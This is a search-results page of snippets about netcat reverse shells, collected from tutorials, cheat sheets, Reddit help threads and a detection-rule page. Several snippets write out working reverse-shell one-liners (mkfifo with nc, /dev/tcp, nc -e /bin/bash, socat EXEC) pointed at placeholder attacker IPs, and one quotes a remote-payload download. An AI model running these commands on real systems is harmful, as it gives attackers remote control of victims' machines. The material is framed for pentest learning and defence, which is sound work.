🌐
MCSI Library
library.mosse-institute.com › articles › 2022 › 04 › using-netcat-as-a-reverse-shell › using-netcat-as-a-reverse-shell.html
Using Netcat as a Reverse Shell — MCSI Library
It can be used as a port scanning tool, similar to nmap, for port forwarding, proxying, and a simple web server, as well as to open a reverse shell backdoor for a hacker. ... -z - instructs netcat to scan without establishing a connection. -v - verbosity to see the result.
🌐
Learn InfoSec
infosecademy.com › home › blog › netcat reverse shells and how they are used by pentesters
Netcat Reverse Shells And How They Are Used By Pentesters
January 23, 2026 - Before starting off we are assuming that we have gained Remote Command Execution on our target machine (Ubuntu) during the initial phase of penetration testing, now we can gain remote netcat reverse shells and sessions through Netcat on our attacker machine (Kali).
Discussions

Netcat reverse shell, can't execute commands.
it's appears to be backwards. In reverse shell the compromised machines connect to te attackers server machine. Try to inverte the comands between your vms. More on reddit.com
🌐 r/HowToHack
16
29
July 17, 2021
DVWA Code Execution: Reverse shell with netcat issue
Bad payload, don't forget the -e flag for the reverse shell. If still not working, check https://revshells.com for payloads you could use. More on reddit.com
🌐 r/Hacking_Tutorials
4
January 28, 2024
Can we connect to a netcat reverse shell listener and excecute our commands?
The question is rather confusing, but I'll give it a try... The attacker machine is fully under your control. You spawn a netcat listener on it. The victim machine is not under your control. You trick it into spawning a shell that connects to your netcat listener. This is what we call a reverse shell: a shell that is initiated by the victim machine and that allows the attacker machine to invoke commands on the victim machine. Now if you want the victim machine to invoke commands on the attacker machine, you could: Ensure that the user accounts on the attack machine have strong passwords set (not kali/kali) Ensure port 22 on the attacker machine is reachable by the victim machine (is there a firewall in between?) Setup ssh daemon (sshd) on the attacker machine In the reverse shell execute: ssh throwawayuser@attackermachine -c "command to be executed" If this answers your question, then I'm really curious... What is your use case? What are you trying to accomplish? Disclaimer: I do not know whether this method exposes your password to the victim machine, therefor I would only do this with a temporary throwaway user account or with a temporary attack machine such as an AttackBox More on reddit.com
🌐 r/tryhackme
27
2
January 27, 2023
FlipperZero Reverse Shell

To anyone blindly running random code from GitHub, be mindful of the line

 STRING Invoke-WebRequest -Uri http://pwnpalace.com/download/others/fce642c6-1963-4a0d-bffe-173f43f02329.zip -Outfile <PL_PATH>\unzip.exe 

That .zip can be turned onto anything, anytime by the site owner (like a backdoor)

More on reddit.com
🌐 r/flipperzero
26
24
December 21, 2022
🌐
Hacking Tutorials
hackingtutorials.org › home › networking › hacking with netcat part 2: bind and reverse shells
Hacking with Netcat part 2: Bind and reverse shells - Hacking Tutorials
February 3, 2022 - Let’s say we have found a remote code execution (RCE) vulnerability on the target host. We can than issue the Netcat command with –e on the target host and initiate a reverse shell with Netcat to issue commands.
🌐
101Labs
101labs.net › comptia-security › lab-65-establishing-a-reverse-shell-with-netcat
Netcat Reverse Shell Lab — CompTIA Security+ | 101Labs.net
2 weeks ago - The way a reverse shell works is by creating a listener on our attack machine and getting the target to connect back to this listener. First, let’s find out the eth0 IP address of our Kali machine and write it down.
🌐
GitHub
gist.github.com › alsunseri › 8cfb94ec848691ba826c59473b363f41
nc netcat reverse shell · GitHub
nc netcat reverse shell · Raw · reverse-netcat.txt · This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below.
🌐
GeeksforGeeks
geeksforgeeks.org › how-to-create-reverse-shells-with-netcat-in-kali-linux
How to Create Reverse Shells with Netcat in Kali Linux? - GeeksforGeeks
June 30, 2020 - Netcat is a command in Linux which is used to perform port listening, port redirection, port checking, or even network testing. Netcat is also called a swiss army knife of networking tools. This command is also used to create a reverse shell. Before ...
🌐
pentestmonkey
pentestmonkey.net › cheat-sheet › shells › reverse-shell-cheat-sheet
Reverse Shell Cheat Sheet | pentestmonkey
If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f · r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() ... One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server.
🌐
YouTube
youtube.com › free education academy - freeeduhub
Netcat Tutorial - Reverse shells with netcat | How to Use Reverse Shell - YouTube
This video is about the Netcat Tutorial - Reverse shells with netcat | How to Use Reverse Shell - Basics of Ethical Hacking. We will learn the basics of Ethi...
Published   March 19, 2023
Views   2K
Find elsewhere
🌐
Medium
medium.com › @leelabhaskar736 › netcat-reverse-shells-a-powerful-tool-for-attackers-and-defenders-b177732e89bf
“Netcat Reverse Shells: A Powerful Tool for Attackers and Defenders” | by Gostimoni | Medium
May 8, 2023 - ... The next step is to create a payload that will be executed on the remote system to establish the reverse shell connection. There are many ways to create a payload, but one common method is to use a simple Bash one-liner.
🌐
GoLinuxCloud
golinuxcloud.com › home › security › reverse shell cheat sheet with examples [100% working]
Reverse Shell Cheat Sheet With Examples [100% Working] | GoLinuxCloud
January 2, 2024 - To use Netcat, launch the Command prompt and navigate to this newly extracted folder and call the nc command as you will see below. This post will give you a detailed guide on how to set up Reverse Shells in two main scenarios.
🌐
Pwncat
pwncat.org
pwncat - reverse shell handler with all netcat features
Reverse shell will reconnect to you if you accidentally hit Ctrl+c · This works by adding TCP-like stateful features to it. Try this with the traditional netcat
🌐
Medium
medium.com › @guvenboyraz › reverse-shell-attack-with-netcat-70d0afecf79d
Reverse Shell Attack with Netcat. Netcat is a tool to get remote access… | by Guven Boyraz | Medium
September 22, 2022 - This code means that Netcat should listen the port number x for connection. When there is a connection it will give you a notification. The following code should be run on the attackers machine ...
🌐
High on Coffee
highon.coffee › blog › reverse-shell-cheat-sheet
Reverse Shell Cheat Sheet: PHP, ASP, Netcat, Bash & Python
February 27, 2022 - ATTACKING-IP is the machine running your listening netcat session, port 80 is used in all examples below (for reasons mentioned above). The following section contains PHP reverse shells that have been tested working.
🌐
Cyber
soc.cyber.wa.gov.au › guidelines › TTP_Hunt › ADS_forms › T1059.004-Potential-Netcat-Reverse-Shell-Execution
T1059.004 Potential Netcat Reverse Shell Execution - WA Cyber Security Unit (DGOV Technical)
let selection_flags = dynamic([' -c ',' -e ' ]); let selection_shell = dynamic([' ash', ' bash', ' bsh', ' csh', ' ksh', ' pdksh', ' sh', ' tcsh', '/bin/ash', '/bin/bash', '/bin/bsh', '/bin/csh', '/bin/ksh', '/bin/pdksh', '/bin/sh', '/bin/tcsh', '/bin/zsh', '$IFSash', '$IFSbash', '$IFSbsh', '$IFScsh', '$IFSksh', '$IFSpdksh', '$IFSsh', '$IFStcsh', '$IFSzsh']); DeviceProcessEvents | where ActionType == "ProcessCreated" | where FolderPath endswith "/ncat" or FolderPath endswith "/nc" //selection_nc | where ProcessCommandLine has_any (selection_flags) | where ProcessCommandLine has_any (selection_shell) Validate the use of netcat in the environment, confirm with administrator team · Verify the account, timestamp, and command lines executed, whether the activity was approved.
🌐
GitHub
gist.github.com › jacobsalmela › 10396211ec9c09e77d59
(OS X) Reverse shell via netcat · GitHub
(OS X) Reverse shell via netcat · Raw · nc-reverse-shell.sh · This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
🌐
iO Flood
ioflood.com › blog › bash-reverse-shell
How-To Create a Reverse Shell: Bash Script Cheat Sheet
November 27, 2023 - You can create a Bash reverse shell using the netcat (nc) command with the IP address and port number of the attacker machine as arguments. For example, nc [options] [host] [port]. After the connection is established, the attacker can execute ...
🌐
Invicti
invicti.com › learn › reverse-shell
Reverse Shell
Creating a reverse shell is straightforward and can be done using many common tools and programming languages. Note that all these examples are provided only for educational purposes and authorized testing. First, the attacker needs a listener running on a machine with a public IP address. On a Linux system, this can be done with netcat: # (Nmap's netcat) ncat -l -p 1337 # Traditional netcat nc -lvp 1337 · This command listens on TCP port 1337.
🌐
O'Reilly
oreilly.com › library › view › hands-on-red-team › 9781788995238 › 9fb2a1e4-d21a-4e03-872c-f83e439abd2e.xhtml
Unencrypted reverse shell using netcat - Hands-On Red Team Tactics [Book]
September 28, 2018 - Unencrypted reverse shell using netcat Let's start a listener on the attacker machine. This can be achieved by executing the following command: nc -b <interface> -lv... - Selection from Hands-On Red Team Tactics [Book]
Authors   Himanshu SharmaHarpreet Singh
Published   2018
Pages   480
🌐
Reddit
reddit.com › r/howtohack › netcat reverse shell, can't execute commands.
r/HowToHack on Reddit: Netcat reverse shell, can't execute commands.
July 17, 2021 -

I'm trying to create a reverse shell between two virtual machines (one kali one ubuntu). On ubuntu I run:

nc -lnvp 9999

Then on kali i run this:

nc 192.168.0.9 9999

On ubuntu it say there is a connection. But when I type a command on kali, when I press 'enter' the cursor goes to a new line and the command appears on the ubuntu vm and the kali vm, but there is no output on either machine. I thought maybe it was because the shell didn't understand what i was typing so I tried this:

nc -e /bin/bash 192.168.0.9 9999

Again it connected, but oddly enough, now when I type a command on the kali vm, the command does not appear on the ubuntu vm. My commands still have no output.

Does anyone know what I'm doing wrong?

Top answer
1 of 5
14
it's appears to be backwards. In reverse shell the compromised machines connect to te attackers server machine. Try to inverte the comands between your vms.
2 of 5
4
Just to clear something up for you: Reverse shell vs Bind shell Bind Shell: (Attacker -> Target) You start a process on the TARGET computer, and it binds to a port. You start a process on the attacker computer that connects to the listening target port. The listening process (on the target computer) either is a shell, or spawns a shell You are now connected and have execution Reverse Shell: (Target -> Attacker) You start a process on the attacker computer, and it binds to a port. You start a process on the TARGET computer that connects to the listening attacker port. ^ This is the "reverse" part of "reverse shell". The connection is target -> attacker. The connecting process (on the target computer) either is a shell, or spawns a shell You are now connected and have execution The reason you are probably using a reverse shell: Avoids firewalls. Looks a little less suspicious. With that in mind, I find socat a better tool to teach bind/reverse shells. socat is simply: socat Bind Shell: socat TCP4-LISTEN:4443 EXEC:/bin/bash A process (socat) is listening on port 4443, which will spawn /bin/bash. This is on the TARGET computer. You just need to connect to that port. You can use netcat to do this. Reverse Shell: socat TCP4:192.168.0.9:4443 EXEC:/bin/bash From the TARGET computer, a connection to 192.168.0.9 on port 4443 is sent. You can use netcat to setup a listener to catch this connection and get a shell.
🌐
Andrea Fortuna
andreafortuna.org › 2017 › 05 › 18 › reverse-shell-with-netcat-some-use-cases
Reverse shell with Netcat: some use cases | Andrea Fortuna
May 18, 2017 - You can use Netcat (or its cousin, Ncat from the Nmap project) to create a reverse shell as follows: First, on your own pen test machine, you create a Netcat listener waiting for the inbound shell from the target machine: ... Here, I’m telling Netcat (nc) to not resolve names (-n), to be verbose printing out when a connection occurs (-v), to listen (-l) on a given local port (-p). ... Then, on the target machine, get the following command to execute (perhaps via command injection in a web app or some other attack technique):